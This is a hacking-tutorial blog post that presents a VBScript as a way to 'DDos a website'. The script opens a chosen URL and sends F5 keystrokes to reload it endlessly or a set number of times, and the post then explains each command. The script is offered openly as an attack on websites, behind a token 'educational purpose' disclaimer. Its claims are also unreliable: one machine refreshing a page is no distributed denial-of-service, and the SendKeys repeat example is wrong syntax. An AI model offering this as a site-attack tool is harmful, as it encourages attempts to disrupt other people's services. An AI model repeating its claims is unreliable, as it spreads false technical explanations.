How to DDos a Website Using VBScript

Welcome back my dear hackers, today we will discuss how to DDos a website using VBScript.

All the script does is, it refreshes the page after a particular time gap. I just want to tell you that this is just for educational purpose.

 

The VBScript You need

 

‘ Go To The Site You Choose
Site = InputBox(“What Site To DDos?”, “What Site”)
Set WshShell = WScript.CreateObject(“WScript.Shell”)
Return = WshShell.Run(Site, 1)

‘ Speed Of Reloading
Speed = InputBox(“How Fast In MiliSeconds Needs It To Be Reloaded”, “How Fast”)

‘ Choose If You Want Infinative Or A Amount Of Number The Site Reload

If MsgBox(“Do You Want to Infinative Reload Or A Number Of Times?” & vbNewLine & “Yes For Infinative” & vbNewLine & “No For A Number Of Times”, vbYesNo + vbQuestion, “Infinative Or Number?”) = vbYes Then

‘ Infinative
Inf = 0
Do
WScript.Sleep Speed
WshShell.SendKeys “{F5}”
Loop Until Inf = 1

‘ Reload The Site
Else
Num = InputBox(“How Many Times Do You Want To Reload?” & vbNewline & “Only Put A Number In.”, “How Many Times”)
For i = 0 to Num
WScript.Sleep Speed
WshShell.SendKeys “{F5}”
Next

‘ End Of Script When vbNo Is Pressed
MsgBox “The DDos Is Done”, 1024, “End DDos Done”
End If

(Note : The code is not my own and i don’t have any claims on it)

This is how it should look at the end:

 

How Does The Code ?

The ‘ command

The use of this command is just for code readability. It is just commenting line in VB Script. This means the words that goes after this ‘ sign are just not executed. By the way it is a single line comment.

The InputBox() Command

This command is used to make a pop-up box inside which you can type something you want. The Syntax of it is: InputBox(prompt, title, default , xpos, ypos, helpfile, context)

The MsgBox Command
The mesbox command is used to popup a box which contains a message. The syntax is:
MsgBox(prompt , buttons, title , helpfile, context).
Imagine if you want to popup a box which says something then the code would be:
MsgBox(“Your Message goes here”, Here are the buttons for example 1024,”Your Title goes  Here”)

The WScript.Sleep Command

This command is used to set to pause for an amount of time(in milliseconds). The syntax is: Wscript.Sleep Amount of time in miliseconds

so if we want a counter as last example we just add between Do And Counter = Counter + 1 WScript.sleep 1000

The .SendKeys Command

This command is basically used to send a key. The syntax of this is:

WshShell.SendKeys (“(here your key) (Here the amount of times it has to be pressed)”)

So for example we need to press a 10 times the code will then be:
WshShell.SendKeys (“a” 10)

Hope you understand what the code does. Again I insist, Please do not use this information in unethical way. Happy Ethical Hacking.

Related posts

The Dark Side of Viral Content: How Negative Reviews Can Snowball

Testing Gaming Monetization: Walking the Line Between Profit and Player Experience

Cloud Infrastructure Management: 10 Best Practices for Success